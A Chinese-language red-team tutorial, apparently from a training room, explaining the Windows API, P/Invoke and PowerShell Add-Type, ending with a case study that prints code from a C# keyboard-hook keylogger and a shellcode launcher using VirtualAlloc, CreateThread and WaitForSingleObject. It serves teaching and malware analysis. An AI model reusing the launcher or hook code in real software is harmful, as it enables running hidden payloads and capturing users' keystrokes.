Red Team

Introduction to Windows API

Windows API 提供与 Windows 操作系统的关键组件交互的本机功能。该 API 被许多人广泛使用,包括红队成员、威胁参与者、蓝队成员、软件开发人员和解决方案提供商。 该 API 可以与 Windows 系统无缝集成,提供其一系列用例。您可能会看到 Win32 API 用于攻击性工具和恶意软件开发、EDR(端点检测和响应)工程以及一般软件应用程序。有关 API 所有用例的更多信息,请查看 Windows API 索引。

1.Subsystem and Hardware Interaction(子系统和硬件交互)

程序经常需要访问或修改Windows子系统或硬件,但为了维护机器的稳定性而受到限制。为了解决这个问题,微软发布了Win32 API,一个用于用户模式应用程序和内核之间接口的库。 Windows 通过两种不同的模式来区分硬件访问:用户模式和内核模式。这些模式决定了应用程序或驱动程序允许的硬件、内核和内存访问。各模式之间的API或系统调用接口,向系统发送信息以在内核模式中进行处理。

User modeKernel mode
No direct hardware accessDirect hardware access
Access to “owned” memory locationsAccess to entire physical memory

有关内存管理的更多信息,请查看 Windows 内部结构。 下面是用户应用程序如何使用 API 调用来修改内核组件的直观表示。

Diagram showing the user mode at the top and kernel mode at the bottom, divided by the switching point

当观察语言如何与 Win32 API 交互时,这个过程可能会变得更加扭曲。应用程序在使用 API 之前将先经过语言运行时。 有关运行时的更多信息,请查看运行时检测规避。

2.Components of the Windows API(Windows API 的组件)

Win32 API(通常称为 Windows API)具有多个依赖组件,用于定义 API 的结构和组织。 让我们通过自上而下的方法分解 Win32 API。我们假设 API 是顶层,构成特定调用的参数是底层。在下表中,我们将概括地描述自上而下的结构,并在稍后深入介绍更多细节。

LayerExplanation
API用于描述 win32 API 结构中的任何调用的顶级/通用术语或理论。
Header files or imports定义要在运行时导入的库,由头文件或库导入定义。使用指针来获取函数地址。
Core DLLs一组定义调用结构的四个 DLL。 (KERNEL32、USER32 和 ADVAPI32)。这些 DLL 定义不包含在单个子系统中的内核和用户服务。
Supplemental DLLs定义为 Windows API 一部分的其他 DLL。控制 Windows 操作系统的单独子系统。 ~36 个其他定义的 DLL。 (NTDLL、COM、FVEAPI 等)
Call Structures定义 API 调用本身以及调用的参数。
API Calls程序中使用的 API 调用,函数地址是从指针获取的。
In/Out Parameters由调用结构定义的参数值。

让我们扩展这些定义;在下一个任务中,我们将讨论导入库、核心头文件和调用结构。在任务 4 中,我们将更深入地研究调用,了解在何处以及如何消化调用参数和变体。

3.OS Libraries(操作系统库)

Win32 库的每个 API 调用都驻留在内存中,并且需要一个指向内存地址的指针。由于 ASLR(地址空间布局随机化)实现,获取这些函数指针的过程变得模糊;每种语言或软件包都有独特的过程来克服 ASLR。在这个房间里,我们将讨论两种最流行的实现:P/Invoke 和 Windows 头文件。 在本任务中,我们将深入研究这两种实现的工作原理,并在未来的任务中将它们付诸实践。

(1).Windows 头文件

Microsoft 发布了 Windows 头文件,也称为 Windows 加载程序,作为与 ASLR 实现相关的问题的直接解决方案。将概念保持在较高的水平,在运行时,加载程序将确定正在进行哪些调用,并创建一个 thunk 表来获取函数地址或指针。 幸运的是,如果我们不想继续处理 API 调用,则无需深入研究即可。 一旦 windows.h 文件包含在非托管程序的顶部;可以调用任何 Win32 函数。 我们将在任务 6 中更实际地介绍这个概念。

(2).P/Invoke

Microsoft 将 P/Invoke 或平台调用描述为“一种允许您从托管代码访问非托管库中的结构、回调和函数的技术”。 P/invoke 提供了处理从托管代码调用非托管函数(或者换句话说,调用 Win32 API)的整个过程的工具。 P/invoke 将通过导入包含非托管函数或 Win32 API 调用的所需 DLL 来启动。下面是导入带有选项的 DLL 的示例。

using System;
using System.Runtime.InteropServices;

public class Program
{
[DllImport("user32.dll", CharSet = CharSet.Unicode, SetLastError = true)]
...
}

在上面的代码中,我们使用属性 DLLImport 导入 DLL user32。 注意:不包含分号是因为 p/invoke 函数尚未完成。在第二步中,我们必须将托管方法定义为外部方法。 extern 关键字将通知运行时先前导入的特定 DLL。下面是创建外部方法的示例。

using System;
using System.Runtime.InteropServices;

public class Program
{
...
private static extern int MessageBox(IntPtr hWnd, string lpText, string lpCaption, uint uType);
}

4.API Call Structure(API调用结构)

API 调用是 Win32 库的第二个主要组件。这些调用提供了可扩展性和灵活性,可用于满足大量用例。大多数 Win32 API 调用在 Windows API 文档和 pinvoke.net 下都有详细记录。 在此任务中,我们将介绍 API 调用的命名方案和输入/输出参数。 API调用功能可以通过修改命名方案和附加代表性字符来扩展。下面是 Microsoft 支持的命名方案的字符表。

CharacterExplanation
A表示采用 ANSI 编码的 8 位字符集
W代表Unicode编码
Ex为 API 调用提供扩展功能或输入/输出参数

每个 API 调用还有一个预定义的结构来定义其输入/输出参数。您可以在 Windows 文档的相应 API 调用文档页面上找到大多数这些结构,以及每个 I/O 参数的说明。 让我们以 WriteProcessMemory API 调用为例。下面是此处获得的调用的 I/O 结构。

BOOL WriteProcessMemory(
[in]  HANDLE  hProcess,
[in]  LPVOID  lpBaseAddress,
[in]  LPCVOID lpBuffer,
[in]  SIZE_T  nSize,
[out] SIZE_T  *lpNumberOfBytesWritten
);

对于每个 I/O 参数,Microsoft 还解释了其用途、预期输入或输出以及可接受的值。 即使有解释,确定这些值有时对于特定调用来说也是具有挑战性的。我们建议在代码中使用调用之前始终研究并查找 API 调用使用示例。

5.C API Implementations(C API 实现)

Microsoft 提供了 C 和 C++ 等低级编程语言以及一组预配置的库,我们可以使用它们来访问所需的 API 调用。 如任务 4 中所述,windows.h 头文件用于定义调用结构并获取函数指针。要包含 Windows 标头,请将以下行添加到任何 C 或 C++ 程序之前。 #include <windows.h> 让我们直接开始创建我们的第一个 API 调用。作为我们的第一个目标,我们的目标是创建一个标题为“Hello THM!”的弹出窗口。使用 CreateWindowExA。为了重申任务 5 中涵盖的内容,让我们观察调用的输入/输出参数。

HWND CreateWindowExA(
[in]           DWORD     dwExStyle, // Optional windows styles
[in, optional] LPCSTR    lpClassName, // Windows class
[in, optional] LPCSTR    lpWindowName, // Windows text
[in]           DWORD     dwStyle, // Windows style
[in]           int       X, // X position
[in]           int       Y, // Y position
[in]           int       nWidth, // Width size
[in]           int       nHeight, // Height size
[in, optional] HWND      hWndParent, // Parent windows
[in, optional] HMENU     hMenu, // Menu
[in, optional] HINSTANCE hInstance, // Instance handle
[in, optional] LPVOID    lpParam // Additional application data
);

让我们获取这些预定义的参数并为其赋值。如任务 5 中所述,API 调用的每个参数都有其用途和潜在值的解释。下面是对 CreateWindowsExA 的完整调用的示例。

HWND hwnd = CreateWindowsEx(
0,
CLASS_NAME,
L"Hello THM!",
WS_OVERLAPPEDWINDOW,
CW_USEDEFAULT, CW_USEDEFAULT, CW_USEDEFAULT, CW_USEDEFAULT,
NULL,
NULL,
hInstance,
NULL
);

我们已经用 C 语言定义了第一个 API 调用!现在我们可以将其实现到应用程序中并使用 API 调用的功能。下面是一个使用 API 创建一个小的空白窗口的示例应用程序。

BOOL Create(
       PCWSTR lpWindowName,
       DWORD dwStyle,
       DWORD dwExStyle = 0,
       int x = CW_USEDEFAULT,
       int y = CW_USEDEFAULT,
       int nWidth = CW_USEDEFAULT,
       int nHeight = CW_USEDEFAULT,
       HWND hWndParent = 0,
       HMENU hMenu = 0
      )
  {
       WNDCLASS wc = {0};

       wc.lpfnWndProc   = DERIVED_TYPE::WindowProc;
       wc.hInstance     = GetModuleHandle(NULL);
       wc.lpszClassName = ClassName();

       RegisterClass(&wc);

       m_hwnd = CreateWindowEx(
           dwExStyle, ClassName(), lpWindowName, dwStyle, x, y,
           nWidth, nHeight, hWndParent, hMenu, GetModuleHandle(NULL), this
          );

       return (m_hwnd ? TRUE : FALSE);
  }

6.NET and PowerShell API Implementations(.NET 和 PowerShell API 实现)

正如任务 4 中所讨论的,P/Invoke 允许我们导入 DLL 并将指针分配给 API 调用。 为了了解 P/Invoke 是如何实现的,让我们通过下面的示例直接进入它,然后讨论各个组件。

class Win32 {
[DllImport("kernel32")]
public static extern IntPtr GetComputerNameA(StringBuilder lpBuffer, ref uint lpnSize);
}

类函数存储已定义的 API 调用以及在所有未来方法中引用的定义。 现在必须使用 DllImport 导入存储 API 调用结构的库。导入的 DLL 的作用与标头包类似,但要求您使用要查找的 API 调用导入特定的 DLL。您可以参考 API 索引或 pinvoke.net 来确定特定 API 调用位于 DLL 中的位置。 从 DLL 导入中,我们可以创建一个指向我们想要使用的 API 调用的新指针,特别是由 intPtr 定义的指针。与其他低级语言不同,必须在指针中指定 in/out 参数结构。正如任务 5 中所讨论的,我们可以从 Windows 文档中找到所需 API 调用的输入/输出参数。 现在我们可以将定义的 API 调用实现到应用程序中并使用其功能。下面是一个示例应用程序,它使用 API 来获取计算机名称和运行它的设备的其他信息。

class Win32 {
[DllImport("kernel32")]
public static extern IntPtr GetComputerNameA(StringBuilder lpBuffer, ref uint lpnSize);
}

static void Main(string[] args) {
bool success;
StringBuilder name = new StringBuilder(260);
uint size = 260;
success = GetComputerNameA(name, ref size);
Console.WriteLine(name.ToString());
}

如果成功,程序应返回当前设备的计算机名称。 现在我们已经介绍了如何在 .NET 中完成它,让我们看看如何调整相同的语法以在 PowerShell 中工作。 定义 API 调用与 .NET 的实现几乎相同,但我们需要创建一个方法而不是类,并添加一些额外的运算符。

$MethodDefinition = @"
  [DllImport("kernel32")]
  public static extern IntPtr GetProcAddress(IntPtr hModule, string procName);
  [DllImport("kernel32")]
  public static extern IntPtr GetModuleHandle(string lpModuleName);
  [DllImport("kernel32")]
  public static extern bool VirtualProtect(IntPtr lpAddress, UIntPtr dwSize, uint flNewProtect, out uint lpflOldProtect);
"@;

现在已定义调用,但 PowerShell 需要执行进一步的步骤才能初始化它们。我们必须为方法定义中的每个 Win32 DLL 的指针创建一个新类型。函数 Add-Type 将在 /temp 目录中放置一个临时文件,并使用 csc.exe 编译所需的函数。下面是正在使用的函数的示例。

$Kernel32 = Add-Type -MemberDefinition $MethodDefinition -Name 'Kernel32' -NameSpace 'Win32' -PassThru;

现在,我们可以通过以下语法使用所需的 API 调用。

[Win32.Kernel32]::<Imported Call>()

7.Commonly Abused API Calls(常见滥用的 API 调用)

Win32 库中的多个 API 调用很容易被用于恶意活动。 一些实体已尝试记录和组织所有可用的带有恶意向量的 API 调用,包括 SAN 和 MalAPI.io。 虽然许多电话被滥用,但其中一些在野外比其他电话更常见。下表列出了最常被滥用的 API,按样本集合中的频率进行组织。

API CallExplanation
LoadLibraryA将指定的 DLL 映射到调用进程的地址空间
GetUserNameA检索与当前线程关联的用户名
GetComputerNameA检索本地计算机的 NetBIOS 或 DNS 名称
GetVersionExA获取有关当前运行的操作系统版本的信息
GetModuleFileNameA检索指定模块和进程的文件的完全限定路径
GetStartupInfoA检索 STARTUPINFO 结构的内容(窗口站、桌面、标准句柄和进程的外观)
GetModuleHandle如果映射到调用进程的地址空间,则返回指定模块的模块句柄
GetProcAddress返回指定导出 DLL 函数的地址
VirtualProtect更改调用进程虚拟地址空间中内存区域的保护

8.Malware Case Study(恶意软件案例研究)

现在我们了解了 Win32 库的底层实现和常见的滥用 API 调用,让我们分解两个恶意软件样本并观察它们的调用如何交互。 在此任务中,我们将分解 C# 键盘记录器和 shellcode 启动器。

(1)键盘记录器

要开始分析键盘记录器,我们需要收集它正在实现哪些 API 调用和挂钩。由于键盘记录器是用 C# 编写的,因此它必须使用 P/Invoke 来获取每次调用的指针。以下是恶意软件示例源代码的 p/invoke 定义的片段。

[DllImport("user32.dll", CharSet = CharSet.Auto, SetLastError = true)]
private static extern IntPtr SetWindowsHookEx(int idHook, LowLevelKeyboardProc lpfn, IntPtr hMod, uint dwThreadId);
[DllImport("user32.dll", CharSet = CharSet.Auto, SetLastError = true)]
[return: MarshalAs(UnmanagedType.Bool)]
private static extern bool UnhookWindowsHookEx(IntPtr hhk);
[DllImport("kernel32.dll", CharSet = CharSet.Auto, SetLastError = true)]
private static extern IntPtr GetModuleHandle(string lpModuleName);
private static int WHKEYBOARDLL = 13;
[DllImport("kernel32.dll", CharSet = CharSet.Auto, SetLastError = true)]
private static extern IntPtr GetCurrentProcess();

以下是每个 API 调用及其各自用途的说明。

API CallExplanation
SetWindowsHookEx将内存钩子安装到钩子链中以监视某些事件
UnhookWindowsHookEx从吊钩链中移除已安装的吊钩
GetModuleHandle如果映射到调用进程的地址空间,则返回指定模块的模块句柄
GetCurrentProcess检索当前进程的伪句柄.

为了保持本案例研究的道德完整性,我们不会介绍样本如何收集每次击键。我们将分析该样本如何在当前进程上设置钩子。以下是恶意软件示例源代码的挂钩部分的片段。

public static void Main() {
_hookID = SetHook(_proc);
Application.Run();
UnhookWindowsHookEx(_hookID);
Application.Exit();
}
private static IntPtr SetHook(LowLevelKeyboardProc proc) {
using (Process curProcess = Process.GetCurrentProcess()) {
return SetWindowsHookEx(WHKEYBOARDLL, proc, GetModuleHandle(curProcess.ProcessName), 0);
}
}

让我们了解键盘记录器的目标和过程,然后从上面的代码片段中分配它们各自的 API 调用。 使用 Windows API 文档和上述代码片段的上下文,开始分析键盘记录器,并使用问题 1 – 4 作为完成示例的指南。

(2)Shellcode 启动器

为了开始分析 shellcode 启动器,我们需要再次收集它正在实现哪些 API 调用。这个过程看起来应该与之前的案例研究相同。以下是恶意软件示例源代码的 p/invoke 定义的片段。

private static UInt32 MEM_COMMIT = 0x1000;
private static UInt32 PAGE_EXECUTE_READWRITE = 0x40;
[DllImport("kernel32")]
private static extern UInt32 VirtualAlloc(UInt32 lpStartAddr, UInt32 size, UInt32 flAllocationType, UInt32 flProtect);
[DllImport("kernel32")]
private static extern UInt32 WaitForSingleObject(IntPtr hHandle, UInt32 dwMilliseconds);
[DllImport("kernel32")]
private static extern IntPtr CreateThread(UInt32 lpThreadAttributes, UInt32 dwStackSize, UInt32 lpStartAddress, IntPtr param, UInt32 dwCreationFlags, ref UInt32 lpThreadId);

以下是每个 API 调用及其各自用途的说明。

API CallExplanation
VirtualAlloc保留、提交或更改调用进程的虚拟地址空间中页面区域的状态。
WaitForSingleObject等待指定对象处于有信号状态或超时间隔已过
CreateThread创建一个线程在调用进程的虚拟地址空间内执行

现在我们将分析 shellcode 是如何写入内存并从内存中执行的。

UInt32 funcAddr = VirtualAlloc(0, (UInt32)shellcode.Length, MEM_COMMIT, PAGE_EXECUTE_READWRITE);
Marshal.Copy(shellcode, 0, (IntPtr)(funcAddr), shellcode.Length);
IntPtr hThread = IntPtr.Zero;
UInt32 threadId = 0;
IntPtr pinfo = IntPtr.Zero;
hThread = CreateThread(0, 0, funcAddr, pinfo, 0, ref threadId);
WaitForSingleObject(hThread, 0xFFFFFFFF);
return;

让我们了解 shellcode 执行的目标和过程,然后从上面的代码片段中分配它们各自的 API 调用。 使用 Windows API 文档和上述代码片段的上下文,开始分析 shellcode 启动器,并使用问题 5 – 8 作为完成示例的指南。

留言

您的邮箱地址不会被公开。 必填项已用 * 标注